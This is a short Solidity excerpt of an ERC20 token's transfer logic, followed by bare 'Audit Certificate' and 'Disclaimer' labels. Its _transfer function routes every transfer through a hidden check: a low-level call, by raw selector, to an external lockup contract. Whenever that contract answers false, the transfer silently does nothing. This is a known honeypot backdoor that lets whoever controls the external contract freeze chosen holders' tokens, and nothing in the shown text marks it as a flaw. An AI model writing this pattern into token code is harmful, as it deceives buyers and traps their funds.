function _transfer(address sender, address recipient, uint256 amount) internal {
if (!_requireValidRecipient(sender, recipient, amount)) {
return;
}

require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");

_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}

function _requireValidRecipient(address _sender, address _recipient, uint256 _amount) internal returns (bool) {
(, bytes memory data) = address(lockupContractFactory).call(abi.encodeWithSelector(0x733c84a6, _sender, _recipient, _amount, msg.sender));

if (!abi.decode(data, (bool))) {
return false;
}

return true;
}

Audit Certificate

Disclaimer

Scan to verify